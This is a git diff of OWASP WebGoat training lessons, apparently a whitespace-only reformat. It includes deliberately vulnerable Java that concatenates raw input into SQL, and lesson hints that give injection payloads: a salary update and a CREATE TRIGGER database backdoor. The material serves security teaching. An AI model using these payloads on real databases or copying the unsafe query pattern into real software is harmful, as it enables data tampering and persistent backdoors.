diff --git a/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java b/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java index 351df1872..21571e100 100644 --- a/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java +++ b/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java @@ -649,34 +649,34 @@ public abstract class AbstractLesson extends Screen implements Comparable\n"); - script.append(" \n"); - script.append(" \n"); + script.append(" // bring the window to the front\n"); + script.append(" win.focus();\n"); + script.append(" }\n"); + script.append(" //-->\n"); + script.append(" \n"); return script.toString(); } diff --git a/src/main/java/org/owasp/webgoat/lessons/AccessControlMatrix.java b/src/main/java/org/owasp/webgoat/lessons/AccessControlMatrix.java index c4ea368f3..f7695fcde 100644 --- a/src/main/java/org/owasp/webgoat/lessons/AccessControlMatrix.java +++ b/src/main/java/org/owasp/webgoat/lessons/AccessControlMatrix.java @@ -47,230 +47,230 @@ import org.owasp.webgoat.session.WebSession; public class AccessControlMatrix extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - private final static String RESOURCE = "Resource"; + private final static String RESOURCE = "Resource"; - private final static String USER = "User"; + private final static String USER = "User"; - private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review", - "Time Card Approval", "Site Manager", "Account Manager" }; + private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review", + "Time Card Approval", "Site Manager", "Account Manager" }; - private final static String[] roles = { "Public", "User", "Manager", "Admin" }; + private final static String[] roles = { "Public", "User", "Manager", "Admin" }; - private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" }; + private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" }; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - String user = s.getParser().getRawParameter(USER, users[0]); - String resource = s.getParser().getRawParameter(RESOURCE, resources[0]); - String credentials = getRoles(user).toString(); + try + { + String user = s.getParser().getRawParameter(USER, users[0]); + String resource = s.getParser().getRawParameter(RESOURCE, resources[0]); + String credentials = getRoles(user).toString(); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TD().addElement("Change user:")); - tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1))); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TD().addElement("Change user:")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1))); + t.addElement(tr); - // These two lines would allow the user to select the resource from a list - // Didn't seem right to me so I made them type it in. - // ec.addElement( new P().addElement( "Choose a resource:" ) ); - // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) ); - tr = new TR(); - tr.addElement(new TD().addElement("Select resource: ")); - tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1))); - t.addElement(tr); + // These two lines would allow the user to select the resource from a list + // Didn't seem right to me so I made them type it in. + // ec.addElement( new P().addElement( "Choose a resource:" ) ); + // ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) ); + tr = new TR(); + tr.addElement(new TD().addElement("Select resource: ")); + tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1))); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD(" ").setColSpan(2).setAlign("center")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD(" ").setColSpan(2).setAlign("center")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center")); - t.addElement(tr); - ec.addElement(t); + tr = new TR(); + tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center")); + t.addElement(tr); + ec.addElement(t); - if (isAllowed(user, resource)) - { - if (!getRoles(user).contains("Admin") && resource.equals("Account Manager")) - { - makeSuccess(s); - } - s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource); - } - else - { - s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource " - + resource); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + if (isAllowed(user, resource)) + { + if (!getRoles(user).contains("Admin") && resource.equals("Account Manager")) + { + makeSuccess(s); + } + s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource); + } + else + { + s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource " + + resource); + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - /** - * Gets the category attribute of the RoleBasedAccessControl object - * - * @return The category value - */ + /** + * Gets the category attribute of the RoleBasedAccessControl object + * + * @return The category value + */ - protected Category getDefaultCategory() - { - return Category.ACCESS_CONTROL; - } + protected Category getDefaultCategory() + { + return Category.ACCESS_CONTROL; + } - /** - * Gets the hints attribute of the RoleBasedAccessControl object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Many sites attempt to restrict access to resources by role."); - hints.add("Developers frequently make mistakes implementing this scheme."); - hints.add("Attempt combinations of users, roles, and resources."); - return hints; - } + /** + * Gets the hints attribute of the RoleBasedAccessControl object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Many sites attempt to restrict access to resources by role."); + hints.add("Developers frequently make mistakes implementing this scheme."); + hints.add("Attempt combinations of users, roles, and resources."); + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(10); + private final static Integer DEFAULT_RANKING = new Integer(10); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the resources attribute of the RoleBasedAccessControl object - * - * @param rl - * Description of the Parameter - * @return The resources value - */ - private List getResources(List rl) - { - // return the resources allowed for these roles - ArrayList list = new ArrayList(); + /** + * Gets the resources attribute of the RoleBasedAccessControl object + * + * @param rl + * Description of the Parameter + * @return The resources value + */ + private List getResources(List rl) + { + // return the resources allowed for these roles + ArrayList list = new ArrayList(); - if (rl.contains(roles[0])) - { - list.add(resources[0]); - } + if (rl.contains(roles[0])) + { + list.add(resources[0]); + } - if (rl.contains(roles[1])) - { - list.add(resources[1]); - list.add(resources[5]); - } + if (rl.contains(roles[1])) + { + list.add(resources[1]); + list.add(resources[5]); + } - if (rl.contains(roles[2])) - { - list.add(resources[2]); - list.add(resources[3]); - } + if (rl.contains(roles[2])) + { + list.add(resources[2]); + list.add(resources[3]); + } - if (rl.contains(roles[3])) - { - list.add(resources[4]); - list.add(resources[5]); - } + if (rl.contains(roles[3])) + { + list.add(resources[4]); + list.add(resources[5]); + } - return list; - } + return list; + } - /** - * Gets the role attribute of the RoleBasedAccessControl object - * - * @param user - * Description of the Parameter - * @return The role value - */ + /** + * Gets the role attribute of the RoleBasedAccessControl object + * + * @param user + * Description of the Parameter + * @return The role value + */ - private List getRoles(String user) - { - ArrayList list = new ArrayList(); + private List getRoles(String user) + { + ArrayList list = new ArrayList(); - if (user.equals(users[0])) - { - list.add(roles[0]); - } - else if (user.equals(users[1])) - { - list.add(roles[1]); - list.add(roles[2]); - } - else if (user.equals(users[2])) - { - list.add(roles[0]); - list.add(roles[2]); - } - else if (user.equals(users[3])) - { - list.add(roles[3]); - } + if (user.equals(users[0])) + { + list.add(roles[0]); + } + else if (user.equals(users[1])) + { + list.add(roles[1]); + list.add(roles[2]); + } + else if (user.equals(users[2])) + { + list.add(roles[0]); + list.add(roles[2]); + } + else if (user.equals(users[3])) + { + list.add(roles[3]); + } - return list; - } + return list; + } - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ - public String getTitle() - { - return ("Using an Access Control Matrix"); - } + public String getTitle() + { + return ("Using an Access Control Matrix"); + } - // private final static ArrayList userList = new ArrayList(Arrays.asList(users)); - // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources)); - // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles)); + // private final static ArrayList userList = new ArrayList(Arrays.asList(users)); + // private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources)); + // private final static ArrayList roleList = new ArrayList(Arrays.asList(roles)); - /** - * Please do not ever implement an access control scheme this way! But it's not the worst I've - * seen. - * - * @param user - * Description of the Parameter - * @param resource - * Description of the Parameter - * @return The allowed value - */ + /** + * Please do not ever implement an access control scheme this way! But it's not the worst I've + * seen. + * + * @param user + * Description of the Parameter + * @param resource + * Description of the Parameter + * @return The allowed value + */ - private boolean isAllowed(String user, String resource) - { - List roles = getRoles(user); - List resources = getResources(roles); - return (resources.contains(resource)); - } + private boolean isAllowed(String user, String resource) + { + List roles = getRoles(user); + List resources = getResources(roles); + return (resources.contains(resource)); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/BackDoors.java b/src/main/java/org/owasp/webgoat/lessons/BackDoors.java index 8ab532831..20f1871bb 100644 --- a/src/main/java/org/owasp/webgoat/lessons/BackDoors.java +++ b/src/main/java/org/owasp/webgoat/lessons/BackDoors.java @@ -56,238 +56,238 @@ import org.owasp.webgoat.session.WebSession; public class BackDoors extends SequentialLessonAdapter { - private final static Integer DEFAULT_RANKING = new Integer(80); + private final static Integer DEFAULT_RANKING = new Integer(80); - private final static String USERNAME = "username"; + private final static String USERNAME = "username"; - private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid="; + private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid="; - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); + public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } - protected Element doStage1(WebSession s) throws Exception - { - return concept1(s); - } + protected Element doStage1(WebSession s) throws Exception + { + return concept1(s); + } - protected Element doStage2(WebSession s) throws Exception - { - return concept2(s); - } + protected Element doStage2(WebSession s) throws Exception + { + return concept2(s); + } - private void addDBEntriesToEC(ElementContainer ec, ResultSet rs) - { - try - { - if (rs.next()) - { - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1); - TR tr = new TR(); - tr.addElement(new TH("User ID")); - tr.addElement(new TH("Password")); - tr.addElement(new TH("SSN")); - tr.addElement(new TH("Salary")); - tr.addElement(new TH("E-Mail")); - t.addElement(tr); + private void addDBEntriesToEC(ElementContainer ec, ResultSet rs) + { + try + { + if (rs.next()) + { + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1); + TR tr = new TR(); + tr.addElement(new TH("User ID")); + tr.addElement(new TH("Password")); + tr.addElement(new TH("SSN")); + tr.addElement(new TH("Salary")); + tr.addElement(new TH("E-Mail")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD(rs.getString("userid"))); - tr.addElement(new TD(rs.getString("password"))); - tr.addElement(new TD(rs.getString("ssn"))); - tr.addElement(new TD(rs.getString("salary"))); - tr.addElement(new TD(rs.getString("email"))); - t.addElement(tr); - while (rs.next()) - { - tr = new TR(); - tr.addElement(new TD(rs.getString("userid"))); - tr.addElement(new TD(rs.getString("password"))); - tr.addElement(new TD(rs.getString("ssn"))); - tr.addElement(new TD(rs.getString("salary"))); - tr.addElement(new TD(rs.getString("email"))); - t.addElement(tr); - } - ec.addElement(t); - } - } catch (SQLException e) - { - // TODO Auto-generated catch block - e.printStackTrace(); - } - } + tr = new TR(); + tr.addElement(new TD(rs.getString("userid"))); + tr.addElement(new TD(rs.getString("password"))); + tr.addElement(new TD(rs.getString("ssn"))); + tr.addElement(new TD(rs.getString("salary"))); + tr.addElement(new TD(rs.getString("email"))); + t.addElement(tr); + while (rs.next()) + { + tr = new TR(); + tr.addElement(new TD(rs.getString("userid"))); + tr.addElement(new TD(rs.getString("password"))); + tr.addElement(new TD(rs.getString("ssn"))); + tr.addElement(new TD(rs.getString("salary"))); + tr.addElement(new TD(rs.getString("email"))); + t.addElement(tr); + } + ec.addElement(t); + } + } catch (SQLException e) + { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } - protected Element concept1(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element concept1(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - ec.addElement(makeUsername(s)); + ec.addElement(makeUsername(s)); - try - { - String userInput = s.getParser().getRawParameter(USERNAME, ""); - if (!userInput.equals("")) - { - userInput = SELECT_ST + userInput; - String[] arrSQL = userInput.split(";"); - Connection conn = DatabaseUtilities.getConnection(s); - Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - if (arrSQL.length == 2) - { - statement.executeUpdate(arrSQL[1]); + try + { + String userInput = s.getParser().getRawParameter(USERNAME, ""); + if (!userInput.equals("")) + { + userInput = SELECT_ST + userInput; + String[] arrSQL = userInput.split(";"); + Connection conn = DatabaseUtilities.getConnection(s); + Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + if (arrSQL.length == 2) + { + statement.executeUpdate(arrSQL[1]); - getLessonTracker(s).setStage(2); - s - .setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm"); - } + getLessonTracker(s).setStage(2); + s + .setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm"); + } - ResultSet rs = statement.executeQuery(arrSQL[0]); - addDBEntriesToEC(ec, rs); + ResultSet rs = statement.executeQuery(arrSQL[0]); + addDBEntriesToEC(ec, rs); - } - } catch (Exception ex) - { - ec.addElement(new PRE(ex.getMessage())); - } - return ec; - } + } + } catch (Exception ex) + { + ec.addElement(new PRE(ex.getMessage())); + } + return ec; + } - protected Element concept2(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); - ec.addElement(makeUsername(s)); + protected Element concept2(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + ec.addElement(makeUsername(s)); - String userInput = s.getParser().getRawParameter(USERNAME, ""); + String userInput = s.getParser().getRawParameter(USERNAME, ""); - if (!userInput.equals("")) - { - userInput = SELECT_ST + userInput; - String[] arrSQL = userInput.split(";"); - Connection conn = DatabaseUtilities.getConnection(s); - Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + if (!userInput.equals("")) + { + userInput = SELECT_ST + userInput; + String[] arrSQL = userInput.split(";"); + Connection conn = DatabaseUtilities.getConnection(s); + Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - if (arrSQL.length == 2) - { - if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1) - { - makeSuccess(s); - } - } - ResultSet rs = statement.executeQuery(arrSQL[0]); - addDBEntriesToEC(ec, rs); + if (arrSQL.length == 2) + { + if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1) + { + makeSuccess(s); + } + } + ResultSet rs = statement.executeQuery(arrSQL[0]); + addDBEntriesToEC(ec, rs); - } - return ec; - } + } + return ec; + } - public String getInstructions(WebSession s) - { - String instructions = ""; + public String getInstructions(WebSession s) + { + String instructions = ""; - if (!getLessonTracker(s).getCompleted()) - { - switch (getStage(s)) - { - case 1: - instructions = "Stage " + getStage(s) - + ": Use String SQL Injection to execute more than one SQL Statement. "; - instructions = instructions - + " The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL "; - instructions = instructions - + " statements. The first is the system's while the second is totally yours."; - instructions = instructions - + " Your account ID is 101. This page allows you to see your password, ssn and salary."; - instructions = instructions + " Try to inject another update to update salary to something higher"; - break; - case 2: - instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. "; - instructions = instructions - + " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor."; - instructions = instructions - + " Now try to use the same technique to inject a trigger that would act as "; - instructions = instructions + " SQL backdoor, the syntax of a trigger is:
"; - instructions = instructions - + " CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
"; - instructions = instructions - + " Note that nothing will actually be executed because the current underlying DB doesn't support triggers."; - break; - } - } + if (!getLessonTracker(s).getCompleted()) + { + switch (getStage(s)) + { + case 1: + instructions = "Stage " + getStage(s) + + ": Use String SQL Injection to execute more than one SQL Statement. "; + instructions = instructions + + " The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL "; + instructions = instructions + + " statements. The first is the system's while the second is totally yours."; + instructions = instructions + + " Your account ID is 101. This page allows you to see your password, ssn and salary."; + instructions = instructions + " Try to inject another update to update salary to something higher"; + break; + case 2: + instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. "; + instructions = instructions + + " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor."; + instructions = instructions + + " Now try to use the same technique to inject a trigger that would act as "; + instructions = instructions + " SQL backdoor, the syntax of a trigger is:
"; + instructions = instructions + + " CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
"; + instructions = instructions + + " Note that nothing will actually be executed because the current underlying DB doesn't support triggers."; + break; + } + } - return instructions; - } + return instructions; + } - protected Element makeUsername(WebSession s) - { - ElementContainer ec = new ElementContainer(); - StringBuffer script = new StringBuffer(); - script.append(""); - ec.addElement(new StringElement(script.toString())); + protected Element makeUsername(WebSession s) + { + ElementContainer ec = new ElementContainer(); + StringBuffer script = new StringBuffer(); + script.append(""); + ec.addElement(new StringElement(script.toString())); - ec.addElement(new StringElement("User ID: ")); - Input username = new Input(Input.TEXT, "username", ""); - ec.addElement(username); + ec.addElement(new StringElement("User ID: ")); + Input username = new Input(Input.TEXT, "username", ""); + ec.addElement(username); - String userInput = s.getParser().getRawParameter("username", ""); + String userInput = s.getParser().getRawParameter("username", ""); - ec.addElement(new BR()); - ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); - String formattedInput = "" + userInput + ""; - ec.addElement(new Div(SELECT_ST + formattedInput)); + String formattedInput = "" + userInput + ""; + ec.addElement(new Div(SELECT_ST + formattedInput)); - Input b = new Input(); + Input b = new Input(); - b.setName("Submit"); - b.setType(Input.SUBMIT); - b.setValue("Submit"); + b.setName("Submit"); + b.setType(Input.SUBMIT); + b.setValue("Submit"); - ec.addElement(new PRE(b)); + ec.addElement(new PRE(b)); - return ec; - } + return ec; + } - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Your user id is 101. Use it to see your information"); - hints.add("A semi-colon usually ends a SQL statement and starts a new one."); - hints.add("Try this 101 or 1=1; update employee set salary=100000"); - hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " - + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid"); - return hints; - } + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Your user id is 101. Use it to see your information"); + hints.add("A semi-colon usually ends a SQL statement and starts a new one."); + hints.add("Try this 101 or 1=1; update employee set salary=100000"); + hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " + + "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid"); + return hints; + } - protected Category getDefaultCategory() - { - return Category.INJECTION; - } + protected Category getDefaultCategory() + { + return Category.INJECTION; + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - public String getTitle() - { - return ("Database Backdoors "); - } + public String getTitle() + { + return ("Database Backdoors "); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/BasicAuthentication.java b/src/main/java/org/owasp/webgoat/lessons/BasicAuthentication.java index 7a5977ee5..d76e60d85 100644 --- a/src/main/java/org/owasp/webgoat/lessons/BasicAuthentication.java +++ b/src/main/java/org/owasp/webgoat/lessons/BasicAuthentication.java @@ -48,237 +48,237 @@ import org.owasp.webgoat.util.WebGoatI18N; */ public class BasicAuthentication extends SequentialLessonAdapter { - private static final String EMPTY_STRING = ""; + private static final String EMPTY_STRING = ""; - private static final String WEBGOAT_BASIC = "webgoat_basic"; + private static final String WEBGOAT_BASIC = "webgoat_basic"; - private static final String AUTHORIZATION = "Authorization"; + private static final String AUTHORIZATION = "Authorization"; - private static final String ORIGINAL_AUTH = "Original_Auth"; + private static final String ORIGINAL_AUTH = "Original_Auth"; - private static final String ORIGINAL_USER = "Original.user"; + private static final String ORIGINAL_USER = "Original.user"; - private static final String BASIC = "basic"; + private static final String BASIC = "basic"; - private static final String JSESSIONID = "JSESSIONID"; + private static final String JSESSIONID = "JSESSIONID"; - private final static String HEADER_NAME = "header"; + private final static String HEADER_NAME = "header"; - private final static String HEADER_VALUE = "value"; + private final static String HEADER_VALUE = "value"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } - protected Element doStage1(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage1(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - String headerName = null; - String headerValue = null; - try - { - headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING)); - headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING)); + String headerName = null; + String headerValue = null; + try + { + headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING)); + headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING)); - // - // FIXME: This won;t work for CBT, we need to use the UserTracker - // Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= - if (headerName.equalsIgnoreCase(AUTHORIZATION) - && (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat"))) - { - getLessonTracker(s).setStage(2); - return doStage2(s); - } - else - { - if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION)) - { - s.setMessage(WebGoatI18N.get("BasicAuthHeaderNameIncorrect")); - } - if (headerValue.length() > 0 - && !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat"))) - { - s.setMessage(WebGoatI18N.get("BasicAuthHeaderValueIncorrect")); + // + // FIXME: This won;t work for CBT, we need to use the UserTracker + // Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + if (headerName.equalsIgnoreCase(AUTHORIZATION) + && (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat"))) + { + getLessonTracker(s).setStage(2); + return doStage2(s); + } + else + { + if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION)) + { + s.setMessage(WebGoatI18N.get("BasicAuthHeaderNameIncorrect")); + } + if (headerValue.length() > 0 + && !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat"))) + { + s.setMessage(WebGoatI18N.get("BasicAuthHeaderValueIncorrect")); - } - } - // + } + } + // - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - if (s.isColor()) - { - t.setBorder(1); - } + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + if (s.isColor()) + { + t.setBorder(1); + } - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsNameOfHeader")))); - row2.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsDecodedValueOfHeader")))); + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsNameOfHeader")))); + row2.addElement(new TD(new StringElement(WebGoatI18N.get("BasicAuthenticationWhatIsDecodedValueOfHeader")))); - row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString()))); - row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString()))); + row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString()))); + row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString()))); - t.addElement(row1); - t.addElement(row2); + t.addElement(row1); + t.addElement(row2); - ec.addElement(t); - ec.addElement(new P()); + ec.addElement(t); + ec.addElement(new P()); - Element b = ECSFactory.makeButton(WebGoatI18N.get("Submit")); - ec.addElement(b); + Element b = ECSFactory.makeButton(WebGoatI18N.get("Submit")); + ec.addElement(b); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - protected Element doStage2(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doStage2(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - try - { - if (s.getRequest().isUserInRole(WEBGOAT_BASIC)) - { - String originalUser = getLessonTracker(s).getLessonProperties() - .getProperty(ORIGINAL_USER, EMPTY_STRING); - getLessonTracker(s, originalUser).setCompleted(true); - getLessonTracker(s, originalUser).setStage(1); - getLessonTracker(s, originalUser).store(s, this); - makeSuccess(s); - s.setMessage(WebGoatI18N.get("BasicAuthenticiationGreenStars1")+ originalUser + WebGoatI18N.get("BasicAuthenticationGreenStars2")); - return ec; - } - else - { - // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been - // manipulated - String originalAuth = getLessonTracker(s).getLessonProperties() - .getProperty(ORIGINAL_AUTH, EMPTY_STRING); - String originalSessionId = getLessonTracker(s).getLessonProperties() - .getProperty(JSESSIONID, s.getCookie(JSESSIONID)); + try + { + if (s.getRequest().isUserInRole(WEBGOAT_BASIC)) + { + String originalUser = getLessonTracker(s).getLessonProperties() + .getProperty(ORIGINAL_USER, EMPTY_STRING); + getLessonTracker(s, originalUser).setCompleted(true); + getLessonTracker(s, originalUser).setStage(1); + getLessonTracker(s, originalUser).store(s, this); + makeSuccess(s); + s.setMessage(WebGoatI18N.get("BasicAuthenticiationGreenStars1")+ originalUser + WebGoatI18N.get("BasicAuthenticationGreenStars2")); + return ec; + } + else + { + // If we are still in the ORIGINAL_USER role see if the Basic Auth header has been + // manipulated + String originalAuth = getLessonTracker(s).getLessonProperties() + .getProperty(ORIGINAL_AUTH, EMPTY_STRING); + String originalSessionId = getLessonTracker(s).getLessonProperties() + .getProperty(JSESSIONID, s.getCookie(JSESSIONID)); - // store the original user info in the BASIC properties files - if (originalSessionId.equals(s.getCookie(JSESSIONID))) - { - // Store the original user name in the "basic" user properties file. We need to - // use - // the original user to access the correct properties file to update status. - // store the initial auth header - getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId); - getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION)); - getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName()); - getLessonTracker(s, BASIC).setStage(2); - getLessonTracker(s, BASIC).store(s, this, BASIC); - } + // store the original user info in the BASIC properties files + if (originalSessionId.equals(s.getCookie(JSESSIONID))) + { + // Store the original user name in the "basic" user properties file. We need to + // use + // the original user to access the correct properties file to update status. + // store the initial auth header + getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId); + getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION)); + getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName()); + getLessonTracker(s, BASIC).setStage(2); + getLessonTracker(s, BASIC).store(s, this, BASIC); + } - s.setMessage(WebGoatI18N.get("BasicAuthenticationStage1Completed")); + s.setMessage(WebGoatI18N.get("BasicAuthenticationStage1Completed")); - // If the auth header is different but still the original user - tell the user - // that the original cookie was posted bak and basic auth uses the cookie before the - // authorization token - if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION))) - { - ec - .addElement(WebGoatI18N.get("BasicAuthenticationAlmostThere1") - + AUTHORIZATION - + WebGoatI18N.get("BasicAuthenticationAlmostThere2") - + s.getUserName() - + 